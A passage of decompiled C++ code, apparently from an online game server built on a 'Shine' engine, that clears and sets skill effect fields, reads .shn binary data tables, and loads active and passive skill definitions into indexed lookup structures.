ShineExit("SkillDataBox::SkillDataIndex::sdi_SetAbstate"); } } //----- (00515B90) -------------------------------------------------------- void __thiscall SkillDataBox::SkillDataIndex::sdi_Clear(SkillDataBox::SkillDataIndex *this) { int clear; // [sp+0h] [bp-8h]@0 LOBYTE(clear) = 0; *(_DWORD *)&this->sdi_DISPELDEEPER.exist = clear; this->sdi_DISPELDEEPER.value = 0; *(_DWORD *)&this->sdi_DISPELDISEASE.exist = clear; this->sdi_DISPELDISEASE.value = 0; *(_DWORD *)&this->sdi_DISPELPOISON.exist = clear; this->sdi_DISPELPOISON.value = 0; *(_DWORD *)&this->sdi_DISPELCURSE.exist = clear; this->sdi_DISPELCURSE.value = 0; *(_DWORD *)&this->sdi_DISPELDEBUFF.exist = clear; this->sdi_DISPELDEBUFF.value = 0; *(_DWORD *)&this->sdi_SILVERWING.exist = clear; this->sdi_SILVERWING.value = 0; *(_DWORD *)&this->sdi_FLYDURINGCAST.exist = clear; this->sdi_FLYDURINGCAST.value = 0; *(_DWORD *)&this->sdi_HPUPRATE.exist = clear; this->sdi_HPUPRATE.value = 0; *(_DWORD *)&this->sdi_HPCONVERTSP.exist = clear; this->sdi_HPCONVERTSP.value = 0; *(_DWORD *)&this->sdi_STEALENCHANT.exist = clear; this->sdi_STEALENCHANT.value = 0; *(_DWORD *)&this->sdi_MAGICFIELD_KEEP.exist = clear; this->sdi_MAGICFIELD_KEEP.value = 0; *(_DWORD *)&this->sdi_MAGICFIELD_TICK.exist = clear; this->sdi_MAGICFIELD_TICK.value = 0; *(_DWORD *)&this->sdi_REVIVAL.exist = clear; this->sdi_REVIVAL.value = 0; *(_DWORD *)&this->sdi_DIEHPUP.exist = clear; this->sdi_DIEHPUP.value = 0; *(_DWORD *)&this->sdi_THHPUP.exist = clear; this->sdi_THHPUP.value = 0; *(_DWORD *)&this->sdi_DISPELONE.exist = clear; this->sdi_DISPELONE.value = 0; *(_DWORD *)&this->sdi_WARPING_TARGET.exist = clear; this->sdi_WARPING_TARGET.value = 0; *(_DWORD *)&this->sdi_CROSSCOUNTER.exist = clear; this->sdi_CROSSCOUNTER.value = 0; *(_DWORD *)&this->sdi_DETECT.exist = clear; this->sdi_DETECT.value = 0; *(_DWORD *)&this->sdi_WARPING.exist = clear; this->sdi_WARPING.value = 0; *(_DWORD *)&this->sdi_WHOLEAGGRORANGE.exist = clear; this->sdi_WHOLEAGGRORANGE.value = 0; *(_DWORD *)&this->sdi_WHOLEAGGRORATE.exist = clear; this->sdi_WHOLEAGGRORATE.value = 0; *(_DWORD *)&this->sdi_DISPELRANDOM.exist = clear; this->sdi_DISPELRANDOM.value = 0; *(_DWORD *)&this->sdi_DISPELALL.exist = clear; this->sdi_DISPELALL.value = 0; *(_DWORD *)&this->sdi_UNDEADTODMG.exist = clear; this->sdi_UNDEADTODMG.value = 0; *(_DWORD *)&this->sdi_MANABURN.exist = clear; this->sdi_MANABURN.value = 0; *(_DWORD *)&this->sdi_WHOLEHEALAMOUNT.exist = clear; this->sdi_WHOLEHEALAMOUNT.value = 0; *(_DWORD *)&this->sdi_TELEPORT.exist = clear; this->sdi_TELEPORT.value = 0; *(_DWORD *)&this->sdi_DISPEL.exist = clear; this->sdi_DISPEL.value = 0; *(_DWORD *)&this->sdi_CURE.exist = clear; this->sdi_CURE.value = 0; *(_DWORD *)&this->sdi_HEALAMOUNT.exist = clear; this->sdi_HEALAMOUNT.value = 0; } //----- (00515CF0) -------------------------------------------------------- void __thiscall SkillDataBox::SkillDataIndex::sdi_SetArgument(SkillDataBox::SkillDataIndex *this, ActiveSkillInfo::SkillSpecial ss, int arg) { switch ( ss ) { case 1: this->sdi_HEALAMOUNT.exist = 1; this->sdi_HEALAMOUNT.value = arg; break; case 2: this->sdi_CURE.exist = 1; this->sdi_CURE.value = arg; break; case 3: this->sdi_DISPEL.exist = 1; this->sdi_DISPEL.value = arg; break; case 4: this->sdi_TELEPORT.exist = 1; this->sdi_TELEPORT.value = arg; break; case 5: this->sdi_WHOLEHEALAMOUNT.exist = 1; this->sdi_WHOLEHEALAMOUNT.value = arg; break; case 6: this->sdi_MANABURN.exist = 1; this->sdi_MANABURN.value = arg; break; case 7: this->sdi_UNDEADTODMG.exist = 1; this->sdi_UNDEADTODMG.value = arg; break; case 8: this->sdi_DISPELALL.exist = 1; this->sdi_DISPELALL.value = arg; break; case 9: this->sdi_DISPELONE.exist = 1; this->sdi_DISPELONE.value = arg; break; case 26: this->sdi_DISPELRANDOM.exist = 1; this->sdi_DISPELRANDOM.value = arg; break; case 24: this->sdi_WHOLEAGGRORATE.exist = 1; this->sdi_WHOLEAGGRORATE.value = arg; break; case 28: this->sdi_WHOLEAGGRORANGE.exist = 1; this->sdi_WHOLEAGGRORANGE.value = arg; break; case 38: this->sdi_WARPING_TARGET.exist = 1; this->sdi_WARPING_TARGET.value = arg; this->sdi_WARPING.value = arg; break; case 25: case 36: this->sdi_WARPING.exist = 1; this->sdi_WARPING.value = arg; break; case 27: this->sdi_DETECT.exist = 1; this->sdi_DETECT.value = arg; break; case 34: this->sdi_CROSSCOUNTER.exist = 1; this->sdi_CROSSCOUNTER.value = arg; break; case 10: this->sdi_THHPUP.exist = 1; this->sdi_THHPUP.value = arg; break; case 11: this->sdi_DIEHPUP.exist = 1; this->sdi_DIEHPUP.value = arg; break; case 12: this->sdi_REVIVAL.exist = 1; this->sdi_REVIVAL.value = arg; break; case 13: this->sdi_MAGICFIELD_TICK.exist = 1; this->sdi_MAGICFIELD_TICK.value = arg; break; case 14: this->sdi_MAGICFIELD_KEEP.exist = 1; this->sdi_MAGICFIELD_KEEP.value = arg; break; case 15: this->sdi_STEALENCHANT.exist = 1; this->sdi_STEALENCHANT.value = arg; break; case 16: this->sdi_HPCONVERTSP.exist = 1; this->sdi_HPCONVERTSP.value = arg; break; case 17: this->sdi_HPUPRATE.exist = 1; this->sdi_HPUPRATE.value = arg; break; case 18: this->sdi_FLYDURINGCAST.exist = 1; this->sdi_FLYDURINGCAST.value = arg; break; case 19: this->sdi_SILVERWING.exist = 1; this->sdi_SILVERWING.value = arg; break; case 20: this->sdi_DISPELDEBUFF.exist = 1; this->sdi_DISPELDEBUFF.value = arg; break; case 21: this->sdi_DISPELCURSE.exist = 1; this->sdi_DISPELCURSE.value = arg; break; case 22: this->sdi_DISPELPOISON.exist = 1; this->sdi_DISPELPOISON.value = arg; break; case 23: this->sdi_DISPELDISEASE.exist = 1; this->sdi_DISPELDISEASE.value = arg; break; case 35: this->sdi_DISPELDEEPER.exist = 1; this->sdi_DISPELDEEPER.value = arg; break; default: return; } } //----- (00515FF0) -------------------------------------------------------- char __thiscall PassiveDataBox::sdb_Next(PassiveDataBox *this, int *sub) { int v2; // edx@1 v2 = *sub + 1; *sub = v2; return v2 < this->pdb_passivenumber; } //----- (00516010) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x3EEu, 0x4Du) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (005160C0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x1FF20u, 0x280u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00516170) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0xF3Bu, 0xCCu) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00516220) -------------------------------------------------------- BinaryData *__thiscall SkillDataBox::__unnamed::__unnamed(BinaryData *this) { BinaryData *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(this); memset(&v1[1], 0, 0x280u); CCharacterTitleData::CCharacterTitleData((BinaryData *)((char *)v1 + 700)); memset(&v1[12].baseclass_0.m_sFileMD5.n8_name[24], 0, 0x4Cu); LOBYTE(v1[13].baseclass_0.m_pDataArray) = 0; return v1; } //----- (00516280) -------------------------------------------------------- void __thiscall SkillDataBox::__unnamed::___unnamed(BinaryData *this) { BinaryData *v1; // esi@1 v1 = this; CCharacterTitleData::_CCharacterTitleData((BinaryData *)((char *)this + 700)); CCharacterTitleData::_CCharacterTitleData(v1); } //----- (005162D0) -------------------------------------------------------- void __thiscall SkillDataBox::_SkillDataBox(SkillDataBox *this) { BinaryData *v1; // esi@1 v1 = (BinaryData *)this; operator delete(&this->sdb_ValidArray->sdi_ServInf); SkillDataBox::__unnamed::___unnamed(v1); } //----- (005162F0) -------------------------------------------------------- void __thiscall SkillDataBox::sdb_Load(SkillDataBox *this, Name4 *world) { SkillDataBox *v2; // esi@1 unsigned int v3; // eax@1 unsigned int v4; // eax@4 unsigned int v5; // edi@4 void *v6; // eax@6 unsigned int v7; // eax@8 void *v8; // eax@11 void *v9; // eax@13 unsigned int v10; // ebp@16 int v11; // edi@17 void *v12; // eax@19 SkillDataBox::SkillDataIndex *v13; // eax@24 ActiveSkillInfoServer::SkillHitTp v14; // ecx@24 int v15; // eax@24 unsigned int v16; // edi@33 void *v17; // ebp@35 void *v18; // eax@38 unsigned __int16 v19; // ax@40 unsigned int v20; // ebx@45 int v21; // edi@46 void *v22; // ebp@48 char v23; // al@53 int v24; // ebp@53 char v25; // cl@57 void *v26; // eax@59 void *v27; // eax@65 unsigned int v28; // ebp@67 void *v29; // eax@70 unsigned int v30; // ebp@73 int v31; // edi@74 int v32; // ebx@76 int v33; // edi@77 int v34; // ecx@81 int v35; // eax@81 char v36; // dl@81 const char *v37; // eax@81 unsigned int v38; // eax@83 const void *v39; // edx@86 unsigned int v40; // ST08_4@86 SkillDataBox::SkillDataIndex *v41; // edx@86 unsigned int v42; // eax@91 unsigned int v43; // eax@94 unsigned int v44; // eax@97 unsigned int v45; // eax@100 unsigned int v46; // eax@103 unsigned int v47; // eax@106 int *inf; // [sp+14h] [bp-3D0h]@50 void *srv; // [sp+18h] [bp-3CCh]@51 char key; // [sp+20h] [bp-3C4h]@86 __int16 *v51; // [sp+24h] [bp-3C0h]@86 __int16 v52; // [sp+160h] [bp-284h]@86 v2 = this; BinaryDataBox::bdb_ReadData(&this->sdb_BinData.info, "../9Data/Shine/ActiveSkill.shn"); BinaryDataBox::bdb_ReadData( &v2->sdb_BinData.server.baseclass_0, "../9Data/Shine/ActiveSkillInfoServer.shn"); v3 = v2->sdb_BinData.server.baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v2->sdb_MaxValid = v3; if ( v3 <= 0 ) { AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::sdb_Load : Error in record number", v2->sdb_MaxSkillHandle); ShineExit("SkillDataBox::sdb_Load"); } v4 = v2->sdb_MaxValid; v5 = 0; v2->sdb_MaxSkillHandle = 0; if ( v4 ) { do { if ( v5 < v2->sdb_BinData.server.baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v6 = CDataReader::GetRecord(&v2->sdb_BinData.server.baseclass_0.baseclass_0.baseclass_0, v5); else v6 = &v2->sdb_BinData.server.baseclass_0.bdb_defaultblock; v7 = *(_WORD *)v6; if ( v2->sdb_MaxSkillHandle < v7 ) v2->sdb_MaxSkillHandle = v7; ++v5; } while ( v5 < v2->sdb_MaxValid ); } v8 = (void *)v2->sdb_ValidArray; ++v2->sdb_MaxSkillHandle; if ( v8 ) { operator delete__(v8); v2->sdb_ValidArray = 0; } v9 = operator new__(320 * v2->sdb_MaxValid); v2->sdb_ValidArray = (SkillDataBox::SkillDataIndex *)v9; if ( v9 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::sdb_Load : Memory leak", 0); ShineExit("SkillDataBox::sdb_Load"); } v2->sdb_ActivSkillNum = v2->sdb_BinData.info.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v10 = 0; if ( v2->sdb_MaxValid ) { v11 = 0; do { if ( v10 < v2->sdb_BinData.server.baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v12 = CDataReader::GetRecord(&v2->sdb_BinData.server.baseclass_0.baseclass_0.baseclass_0, v10); else v12 = &v2->sdb_BinData.server.baseclass_0.bdb_defaultblock; v2->sdb_ValidArray[v11].sdi_ServInf = (ActiveSkillInfoServer *)v12; v2->sdb_ValidArray[v11].sdi_Activ = 0; v2->sdb_ValidArray[v11].sdi_NextSkill = 0; v2->sdb_ValidArray[v11].sdi_PrevSkill = 0; if ( v2->sdb_ValidArray[v11].sdi_ServInf == 0 ) { AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::sdb_Load : No server data", 0); ShineExit("SkillDataBox::sdb_Load"); } v13 = v2->sdb_ValidArray; v14 = v13[v11].sdi_ServInf->SkillHitType; v15 = (int)&v13[v11]; switch ( v14 ) { case 0: *(_DWORD *)(v15 + 64) = &roe_physical; break; case 1: *(_DWORD *)(v15 + 64) = &roe_magical; break; case 2: case 5: *(_DWORD *)(v15 + 64) = &roe_always; break; case 3: case 4: *(_DWORD *)(v15 + 64) = &roe_cure; break; default: AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::sdb_Load", 0); ShineExit("SkillDataBox::sdb_Load"); return; } ++v10; ++v11; } while ( v10 < v2->sdb_MaxValid ); } if ( v2->sdb_ActivSkillNum != v2->sdb_BinData.server.baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) { AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::sdb_Load : Number mismatch", 0); v16 = 0; if ( v2->sdb_MaxValid ) { do { if ( v16 < v2->sdb_BinData.info.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v17 = CDataReader::GetRecord(&v2->sdb_BinData.info.baseclass_0.baseclass_0, v16); else v17 = &v2->sdb_BinData.info.bdb_defaultblock; if ( v16 < v2->sdb_BinData.server.baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v18 = CDataReader::GetRecord(&v2->sdb_BinData.server.baseclass_0.baseclass_0.baseclass_0, v16); else v18 = &v2->sdb_BinData.server.baseclass_0.bdb_defaultblock; v19 = *(_WORD *)v18; if ( *(_WORD *)v17 != v19 ) { AssertClass::ac_AssertFail(&shineassert, "Error in", *(_WORD *)v17, v19); ShineExit("SkillDataBox::sdb_Load"); } ++v16; } while ( v16 < v2->sdb_MaxValid ); } ShineExit("SkillDataBox::sdb_Load"); } v20 = 0; if ( v2->sdb_MaxValid ) { v21 = 0; do { if ( v20 < v2->sdb_BinData.info.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v22 = CDataReader::GetRecord(&v2->sdb_BinData.info.baseclass_0.baseclass_0, v20); else v22 = &v2->sdb_BinData.info.bdb_defaultblock; inf = (int *)v22; if ( v20 < v2->sdb_BinData.server.baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) srv = CDataReader::GetRecord(&v2->sdb_BinData.server.baseclass_0.baseclass_0.baseclass_0, v20); else srv = &v2->sdb_BinData.server.baseclass_0.bdb_defaultblock; v23 = *((_BYTE *)v22 + 2); v24 = (int)((char *)v22 + 2); if ( v23 ) { do { if ( *(_BYTE *)v24 != *(_BYTE *)(srv - inf + v24) ) { AssertClass::ac_AssertFail( &shineassert, "SkillDataBox::sdb_Load : Index not match", *(_WORD *)inf, *(_WORD *)srv); ShineExit("SkillDataBox::sdb_Load"); } v25 = *(_BYTE *)(v24++ + 1); } while ( v25 ); } if ( v20 < v2->sdb_BinData.info.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v26 = CDataReader::GetRecord(&v2->sdb_BinData.info.baseclass_0.baseclass_0, v20); else v26 = &v2->sdb_BinData.info.bdb_defaultblock; v2->sdb_ValidArray[v21].sdi_Activ = (ActiveSkillInfo *)v26; if ( v2->sdb_ValidArray[v21].sdi_Activ->ID != v2->sdb_ValidArray[v21].sdi_ServInf->ID ) { AssertClass::ac_AssertFail(&shineassert, "SkillID Unsync", 0); ShineExit("SkillDataBox::sdb_Load"); } if ( v20 < v2->sdb_BinData.info.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v27 = CDataReader::GetRecord(&v2->sdb_BinData.info.baseclass_0.baseclass_0, v20); else v27 = &v2->sdb_BinData.info.bdb_defaultblock; v28 = 10 * *((_DWORD *)v27 + 42) / 0x64u; if ( (signed int)v28 < 50 ) v28 = 50; if ( v20 < v2->sdb_BinData.info.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v29 = CDataReader::GetRecord(&v2->sdb_BinData.info.baseclass_0.baseclass_0, v20); else v29 = &v2->sdb_BinData.info.bdb_defaultblock; v2->sdb_ValidArray[v21].sdi_AttackDist = v28 + *((_DWORD *)v29 + 42); SkillDataBox::SkillDataIndex::sdi_Clear(&v2->sdb_ValidArray[v21]); SkillDataBox::SkillDataIndex::sdi_SetArgument( &v2->sdb_ValidArray[v21], v2->sdb_ValidArray[v21].sdi_Activ->SpecialIndexA, v2->sdb_ValidArray[v21].sdi_Activ->SpecialValueA); SkillDataBox::SkillDataIndex::sdi_SetArgument( &v2->sdb_ValidArray[v21], v2->sdb_ValidArray[v21].sdi_Activ->SpecialIndexB, v2->sdb_ValidArray[v21].sdi_Activ->SpecialValueB); SkillDataBox::SkillDataIndex::sdi_SetArgument( &v2->sdb_ValidArray[v21], v2->sdb_ValidArray[v21].sdi_Activ->SpecialIndexC, v2->sdb_ValidArray[v21].sdi_Activ->SpecialValueC); SkillDataBox::SkillDataIndex::sdi_SetArgument( &v2->sdb_ValidArray[v21], v2->sdb_ValidArray[v21].sdi_Activ->SpecialIndexD, v2->sdb_ValidArray[v21].sdi_Activ->SpecialValueD); SkillDataBox::SkillDataIndex::sdi_SetArgument( &v2->sdb_ValidArray[v21], v2->sdb_ValidArray[v21].sdi_Activ->SpecialIndexE, v2->sdb_ValidArray[v21].sdi_Activ->SpecialValueE); ++v20; ++v21; } while ( v20 < v2->sdb_MaxValid ); } v30 = 0; if ( v2->sdb_MaxValid ) { v31 = 0; do { SkillDataBox::SkillDataIndex::sdi_SetAbstate( &v2->sdb_ValidArray[v31], 0, v2->sdb_ValidArray[v31].sdi_Activ->StaNameA, v2->sdb_ValidArray[v31].sdi_Activ->StaStrengthA, v2->sdb_ValidArray[v31].sdi_Activ->StaSucRateA); SkillDataBox::SkillDataIndex::sdi_SetAbstate( &v2->sdb_ValidArray[v31], 1, v2->sdb_ValidArray[v31].sdi_Activ->StaNameB, v2->sdb_ValidArray[v31].sdi_Activ->StaStrengthB, v2->sdb_ValidArray[v31].sdi_Activ->StaSucRateB); SkillDataBox::SkillDataIndex::sdi_SetAbstate( &v2->sdb_ValidArray[v31], 2, v2->sdb_ValidArray[v31].sdi_Activ->StaNameC, v2->sdb_ValidArray[v31].sdi_Activ->StaStrengthC, v2->sdb_ValidArray[v31].sdi_Activ->StaSucRateC); SkillDataBox::SkillDataIndex::sdi_SetAbstate( &v2->sdb_ValidArray[v31], 3, v2->sdb_ValidArray[v31].sdi_Activ->StaNameD, v2->sdb_ValidArray[v31].sdi_Activ->StaStrengthD, v2->sdb_ValidArray[v31].sdi_Activ->StaSucRateD); skillbtreeunion = v2->sdb_ValidArray[v31].sdi_ServInf->ID; *((_BYTE *)&skillbtreeunion + 2) = 0; BTree::bt_Insert(&skillnametree, v2->sdb_ValidArray[v31].sdi_ServInf->InxName, *(unsigned int *)&skillbtreeunion); ++v30; ++v31; } while ( v30 < v2->sdb_MaxValid ); } qsort(&v2->sdb_ValidArray->sdi_ServInf, v2->sdb_MaxValid, 0x140u, SkillDataBox::sdb_compare); v32 = 0; if ( v2->sdb_MaxValid ) { v33 = 0; do { if ( !v2->sdb_ValidArray[v33].sdi_Activ ) { AssertClass::ac_AssertFail(&shineassert, "Null skll", v32); ShineExit("SkillDataBox::sdb_Load"); } v34 = (int)&v2->sdb_ValidArray[v33]; v35 = *(_DWORD *)(v34 + 4); v36 = *(_BYTE *)(v35 + 114); v37 = (const char *)(v35 + 114); if ( v36 == 45 ) { *(_DWORD *)(v34 + 8) = 0; } else { v38 = BTree::operator__(&skillnametree, v37); if ( v38 == -1 ) { AssertClass::ac_AssertFail( &shineassert, "SkillDataBox::sdb_Load : Invalid Prestep", v2->sdb_ValidArray[v33].sdi_Activ->DemandSk); ShineExit("SkillDataBox::sdb_Load"); } v39 = v2->sdb_ValidArray; v40 = v2->sdb_MaxValid; v51 = &v52; v52 = v38; v2->sdb_ValidArray[v33].sdi_PrevSkill = (SkillDataBox::SkillDataIndex *)bsearch( &key, v39, v40, 0x140u, SkillDataBox::sdb_compare); v41 = v2->sdb_ValidArray; if ( !v41[v33].sdi_PrevSkill ) { AssertClass::ac_AssertFail( &shineassert, "SkillDataBox::sdb_Load : Invalid Prestep", v41[v33].sdi_Activ->DemandSk); ShineExit("SkillDataBox::sdb_Load"); } v2->sdb_ValidArray[v33].sdi_PrevSkill->sdi_NextSkill = &v2->sdb_ValidArray[v33]; } ++v32; ++v33; } while ( v32 < v2->sdb_MaxValid ); } v42 = BTree::operator__(&skillnametree, "ProducePotion"); if ( v42 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::sdb_MakeSpecialSkill : Invalid Skill", "ProducePotion"); ShineExit("SkillDataBox::sdb_MakeSpecialSkill"); } v2->sdb_SpecSkill.ss_PortionProductMain = v42; v43 = BTree::operator__(&skillnametree, "ProduceScroll"); if ( v43 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::sdb_MakeSpecialSkill : Invalid Skill", "ProduceScroll"); ShineExit("SkillDataBox::sdb_MakeSpecialSkill"); } v2->sdb_SpecSkill.ss_ScrollProductMain = v43; v44 = BTree::operator__(&skillnametree, "ProduceSton"); if ( v44 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::sdb_MakeSpecialSkill : Invalid Skill", "ProduceSton"); ShineExit("SkillDataBox::sdb_MakeSpecialSkill"); } v2->sdb_SpecSkill.ss_StoneProductMain = v44; v45 = BTree::operator__(&skillnametree, "ProduceResolve"); if ( v45 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::sdb_MakeSpecialSkill : Invalid Skill", "ProduceResolve"); ShineExit("SkillDataBox::sdb_MakeSpecialSkill"); } v2->sdb_SpecSkill.ss_ResolveProductMain = v45; v46 = BTree::operator__(&skillnametree, "ProduceCompound"); if ( v46 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::sdb_MakeSpecialSkill : Invalid Skill", "ProduceCompound"); ShineExit("SkillDataBox::sdb_MakeSpecialSkill"); } v2->sdb_SpecSkill.ss_CompoundProductMain = v46; v47 = BTree::operator__(&skillnametree, "SummonMate01"); if ( v47 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::sdb_MakeSpecialSkill : Invalid Skill", "SummonMate01"); ShineExit("SkillDataBox::sdb_MakeSpecialSkill"); } v2->sdb_SpecSkill.ss_SummonMate = v47; } //----- (00516C40) -------------------------------------------------------- SkillDataBox::SkillDataIndex *__thiscall SkillDataBox::GetSkillIndexByName(SkillDataBox *this, const char *pkName) { SkillDataBox *v2; // esi@1 unsigned int v3; // eax@1 SkillDataBox::SkillDataIndex *result; // eax@2 v2 = this; v3 = BTree::operator__(&skillnametree, pkName); if ( v3 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::GetSkillIndexByName : Invalid Skill", pkName); result = 0; } else { result = SkillDataBox::operator__(v2, v3); } return result; } //----- (00516C90) -------------------------------------------------------- void __thiscall PassiveDataBox::PassiveDataBox(PassiveDataBox *this) { PassiveDataBox *v1; // esi@1 char *v2; // edi@1 v1 = this; v2 = (char *)&this->pdb_databox; CCharacterTitleData::CCharacterTitleData(&this->pdb_databox.baseclass_0); memset(v2 + 60, 0, 0xCCu); v1->pdb_default = &v1->pdb_databox.bdb_defaultblock; v1->pdb_databox.bdb_defaultblock.ID = -1; v1->pdb_index = 0; v1->pdb_databox.bdb_defaultblock.Name[0] = 0; v1->pdb_databox.bdb_defaultblock.InxName[0] = 0; v1->pdb_databox.bdb_defaultblock.MstPlStaff2 = 0; v1->pdb_databox.bdb_defaultblock.MstPlWand2 = 0; v1->pdb_databox.bdb_defaultblock.MstPlCrossBow2 = 0; v1->pdb_databox.bdb_defaultblock.MstPlBow2 = 0; v1->pdb_databox.bdb_defaultblock.MstPlMace1 = 0; v1->pdb_databox.bdb_defaultblock.MstPlAxe2 = 0; v1->pdb_databox.bdb_defaultblock.MstPlSword2 = 0; v1->pdb_databox.bdb_defaultblock.MstPlHammer1 = 0; v1->pdb_databox.bdb_defaultblock.MstPlSword1 = 0; v1->pdb_databox.bdb_defaultblock.SPRecover = 0; v1->pdb_databox.bdb_defaultblock.TB = 0; v1->pdb_databox.bdb_defaultblock.Intel = 0; v1->pdb_databox.bdb_defaultblock.CastingTime = 0; v1->pdb_databox.bdb_defaultblock.MstRtStaff2 = 1000; v1->pdb_databox.bdb_defaultblock.MstRtWand2 = 1000; v1->pdb_databox.bdb_defaultblock.MstRtCrossBow2 = 1000; v1->pdb_databox.bdb_defaultblock.MstRtBow2 = 1000; v1->pdb_databox.bdb_defaultblock.MstRtMace1 = 1000; v1->pdb_databox.bdb_defaultblock.MstRtAxe2 = 1000; v1->pdb_databox.bdb_defaultblock.MstRtSword2 = 1000; v1->pdb_databox.bdb_defaultblock.MstRtHammer1 = 1000; v1->pdb_databox.bdb_defaultblock.MstRtSword1 = 1000; } //----- (00516D50) -------------------------------------------------------- void __thiscall PassiveDataBox::pdb_Load(PassiveDataBox *this, Name4 *world) { PassiveDataBox *v2; // esi@1 char *v3; // ebx@1 unsigned int v4; // ebp@1 int v5; // eax@1 unsigned int v6; // edi@1 void *v7; // eax@3 void *v8; // eax@7 unsigned int v9; // ST04_4@11 void *v10; // eax@11 int i; // eax@14 void *v12; // eax@18 int v13; // edi@20 void *v14; // eax@24 unsigned int v15; // eax@27 v2 = this; v3 = (char *)&this->pdb_databox; BinaryDataBox::bdb_ReadData(&this->pdb_databox, "../9Data/Shine/PassiveSkill.shn"); v4 = 0; v5 = v2->pdb_databox.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v6 = 0; v2->pdb_passivenumber = v5; v2->pdb_maxpassiveID = 0; if ( v5 > 0 ) { do { if ( v6 < *(_DWORD *)(*((_DWORD *)v3 + 12) + 40) ) v7 = CDataReader::GetRecord((CDataReader *)v3, v6); else v7 = v3 + 60; if ( v2->pdb_maxpassiveID < *(_WORD *)v7 ) { if ( v6 < *(_DWORD *)(*((_DWORD *)v3 + 12) + 40) ) v8 = CDataReader::GetRecord((CDataReader *)v3, v6); else v8 = v3 + 60; v2->pdb_maxpassiveID = *(_WORD *)v8; } ++v6; } while ( (signed int)v6 < v2->pdb_passivenumber ); } v9 = 4 * (v2->pdb_maxpassiveID++ + 1); v10 = operator new__(v9); v2->pdb_index = (PassiveSkillInfo **)v10; if ( v10 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "PassiveDataBox::pdb_Load : Fail to alloc memory", 0); ShineExit("PassiveDataBox::pdb_Load"); } for ( i = 0; i < v2->pdb_maxpassiveID; ++i ) v2->pdb_index[i] = &v2->pdb_databox.bdb_defaultblock; if ( v2->pdb_passivenumber > 0 ) { do { if ( v4 < *(_DWORD *)(*((_DWORD *)v3 + 12) + 40) ) v12 = CDataReader::GetRecord((CDataReader *)v3, v4); else v12 = v3 + 60; v13 = *(_WORD *)v12; if ( v2->pdb_index[v13] != &v2->pdb_databox.bdb_defaultblock ) { AssertClass::ac_AssertFail(&shineassert, "PassiveDataBox::pdb_Load : Dublicate id", v13); ShineExit("PassiveDataBox::pdb_Load"); } if ( v4 < *(_DWORD *)(*((_DWORD *)v3 + 12) + 40) ) v14 = CDataReader::GetRecord((CDataReader *)v3, v4); else v14 = v3 + 60; v2->pdb_index[v13] = (PassiveSkillInfo *)v14; v2->pdb_index[v13]->MstPlTmp = 0; v2->pdb_index[v13]->MstRtTmp = 1000; skillbtreeunion = v2->pdb_index[v13]->ID; *((_BYTE *)&skillbtreeunion + 2) = 1; BTree::bt_Insert(&skillnametree, v2->pdb_index[v13]->InxName, *(unsigned int *)&skillbtreeunion); ++v4; } while ( (signed int)v4 < v2->pdb_passivenumber ); } v15 = BTree::operator__(&skillnametree, "PowerofLove01"); if ( v15 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "PassiveDataBox::sdb_MakeSpecialSkill : Invalid Skill", "PowerofLove01"); ShineExit("PassiveDataBox::sdb_MakeSpecialSkill"); } v2->sdb_SpecSkill.ss_PowerOfLove = v15; } //----- (00516F80) -------------------------------------------------------- PassiveSkillInfo *__thiscall 